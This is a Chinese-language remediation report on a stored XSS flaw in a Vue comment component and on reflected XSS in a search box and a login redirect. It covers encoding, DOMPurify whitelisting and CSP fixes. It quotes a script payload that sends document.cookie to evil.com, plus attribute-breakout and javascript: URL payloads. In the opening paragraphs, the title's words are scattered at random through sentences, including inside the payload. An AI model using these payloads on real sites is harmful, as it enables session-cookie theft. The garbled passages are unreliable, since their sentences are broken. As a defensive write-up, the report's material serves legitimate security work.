跨站脚本漏洞整改报告

上周三凌晨两点,跨站安全组在巡检日志时发现一条异常请求:某个用户昵称字段里藏着 <script>fetch('//evil.com?脚本c='+document.cookie)</script>。这条评论在前端渲染时没做转义,漏洞直接进了 innerHTML。整改攻击者可以偷走任何访问该页面用户的报告会话 cookie。漏洞编号 XSS-2024-017,跨站定级高危。脚本

问题出在评论区组件。漏洞前端用 Vue 的整改 v-html 渲染用户提交的富文本,后端只做了长度校验,报告没过滤标签。跨站更麻烦的脚本是,这个字段在三个地方被复用:个人主页、漏洞消息通知、整改管理后台。报告也就是说,一个存储型 XSS 能打穿三处入口。我翻了 git 记录,这段代码是半年前为了支持“表情包”功能临时加的,当时有人提过一句“先这样吧”,然后就没人再碰。

修复方案分两层。服务端用 OWASP Java Encoder 对输出到 HTML 上下文的数据做实体编码,前端把 v-html 换成 v-text 加白名单过滤。白名单只允许 b、i、u、a、img 五个标签,a 的 href 强制 http/https 协议,img 的 src 只放行站内图床域名。富文本编辑器那边同步升级到 DOMPurify 3.0.6,配置里关掉 allowDataAttributes,防止 data-* 属性夹带 payload。

改完代码跑了一遍自动化扫描,Acunetix 报了 12 个反射型 XSS,全在搜索框和登录回跳参数上。搜索框那个是老问题:keyword 参数直接拼进 <input value="...">,攻击者用 " onmouseover=alert(1) x=" 就能闭合属性。登录回跳的 redirect_url 没做协议校验,javascript:alert(1) 能直接执行。这两个点之前漏了,因为扫描器没覆盖到带引号的闭合场景。

修复时踩了个坑。给搜索框加编码后,中文关键词变成 &#x4E2D;&#x6587;,用户搜“中文”搜不出东西。原因是编码发生在 URL 解码之前,顺序反了。正确做法是:先 urldecode,再 htmlencode,最后拼进模板。前端那边用 encodeURIComponent 处理参数值,后端用 HtmlUtils.htmlEscape 处理输出。两边的编码层次不能混。

防御上还加了 CSP。响应头设 script-src 'self' 'nonce-随机值',内联脚本全部加 nonce。有个遗留的老页面用了 onclick="doSomething()",CSP 直接拦了。临时方案是给那个页面单独开 'unsafe-inline',但标记了技术债,下个迭代必须重构。CSP 报告用 report-uri 收集,第一周收到 300 多条拦截日志,大部分是浏览器插件注入的脚本,少部分是漏改的内联事件。

教训有两条。第一,任何用户可控数据进 HTML 上下文,必须过编码器,没有例外。第二,XSS 修复不能只改一个点,要顺着数据流把整条链路查一遍。这次从发现到全量修复用了 36 小时,其中 20 小时花在排查复用点上。如果当初写代码时就把“用户输入不可信”当铁律,后面这些活都不用干。

最后附上修复后的关键代码片段:

// 后端输出编码 String safeNickname = HtmlUtils.htmlEscape(user.getNickname()); // 前端白名单过滤 const clean = DOMPurify.sanitize(rawHtml, {  ALLOWED_TAGS: ['b','i','u','a','img'], ALLOWED_ATTR: ['href','src'] }); 

漏洞已闭环,但监控没撤。XSS 报告接口保留三个月,每周 review 一次。安全这事,修完不等于结束,得盯着。